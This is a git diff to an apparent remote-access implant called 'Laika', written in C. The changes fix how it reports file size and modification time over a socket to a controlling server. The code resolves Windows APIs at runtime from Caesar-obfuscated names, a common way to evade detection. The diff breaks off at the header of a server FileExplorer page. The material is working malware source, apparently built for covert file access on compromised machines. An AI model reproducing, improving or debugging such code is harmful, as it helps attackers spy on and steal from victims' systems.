diff --git a/Laika/main.c b/Laika/main.c index 161358b..45ff894 100644 --- a/Laika/main.c +++ b/Laika/main.c @@ -245,7 +245,7 @@ retry: int st = Api.stat(CAESAR_DECRYPT(path), &fileinfo); if (st != 0) { - if (Api.send(sock, CAESAR("N/N"), sizeof(CAESAR("N/N")), 0) < 0) { + if (Api.send(sock, "N/N", strlen("N/N"), 0) < 0) { //send failed Api.free(path); Sleep_(Sleep_TIME); @@ -257,10 +257,10 @@ retry: } time_t mtime = fileinfo.st_mtime; - struct tm* mtime_tm = Api._localtime64(&mtime); + struct tm* mtime_tm = Api.localtime(&mtime); char mtime_str[30]; char sizeStr[20]; - Api.strftime(mtime_str, 30, CAESAR_DECRYPT("*^2*r2*i%*M?*R?*X"), mtime_tm); + Api.strftime(mtime_str, 30, "%Y-%m-%d %H:%M:%S", mtime_tm); // Concatenate the file size and modified time strings separated by "/" Api._snprintf(sizeStr, 20, "%lld", (long long)fileinfo.st_size); @@ -268,7 +268,7 @@ retry: char* fileInfoStr = (char*)Api.malloc(bufferSize); Api._snprintf(fileInfoStr, bufferSize, "%s/%s", sizeStr, mtime_str); - if (Api.send(sock, fileInfoStr, sizeof(fileInfoStr), 0) < 0) { + if (Api.send(sock, fileInfoStr, strlen(fileInfoStr), 0) < 0) { //send failed Api.free(path); Api.free(fileInfoStr); diff --git a/Laika/resolve_apis.c b/Laika/resolve_apis.c index b507ea9..321bcf5 100644 --- a/Laika/resolve_apis.c +++ b/Laika/resolve_apis.c @@ -44,7 +44,7 @@ void InitApis() { Api.sprintf = (Tsprintf)Api.GetProcAddress(hMsvcrt, CAESAR_DECRYPT("xuwnsyk")); Api.realloc = (Trealloc)Api.GetProcAddress(hMsvcrt, CAESAR_DECRYPT("wjfqqth")); Api.wcstombs = (Twcstombs)Api.GetProcAddress(hMsvcrt, CAESAR_DECRYPT("|hxytrgx")); - Api._localtime64 = (T_localtime64)Api.GetProcAddress(hMsvcrt, CAESAR_DECRYPT("dqthfqynrj;9")); + Api.localtime = (Tlocaltime)Api.GetProcAddress(hMsvcrt, CAESAR_DECRYPT("qthfqynrj")); Api.strftime = (Tstrftime)Api.GetProcAddress(hMsvcrt, CAESAR_DECRYPT("xywkynrj")); Api._snprintf = (T_snprintf)Api.GetProcAddress(hMsvcrt, CAESAR_DECRYPT("dxsuwnsyk")); diff --git a/Laika/resolve_apis.h b/Laika/resolve_apis.h index b60fc33..a77a111 100644 --- a/Laika/resolve_apis.h +++ b/Laika/resolve_apis.h @@ -28,7 +28,7 @@ typedef int(WINAPI* Tstat)(char const* const, struct stat* const); typedef int(WINAPI* Tsprintf)(char const*, char const* const, ...); typedef void*(WINAPI* Trealloc)(void*, size_t); typedef size_t(WINAPI* Twcstombs)(char*, wchar_t const*, size_t); -typedef struct tm* (WINAPI* T_localtime64)(__time64_t const*); +typedef struct tm* (WINAPI* Tlocaltime)(__time64_t const*); typedef size_t(WINAPI* Tstrftime)(char*, size_t, char const*, struct tm const*); typedef int(WINAPI* T_snprintf)(char* const, size_t const, char const* const, ...); @@ -88,7 +88,7 @@ typedef struct ApiList { Tstat stat; Tsprintf sprintf; Trealloc realloc; - T_localtime64 _localtime64; + Tlocaltime localtime; Tstrftime strftime; T_snprintf _snprintf; } API; diff --git a/Server/FileExplorer/index.html b/Server/FileExplorer/index.html index 19f9bd5..cb09b75 100644 --- a/Server/FileExplorer/index.html +++ b/Server/FileExplorer/index.html @@ -30,7 +30,7 @@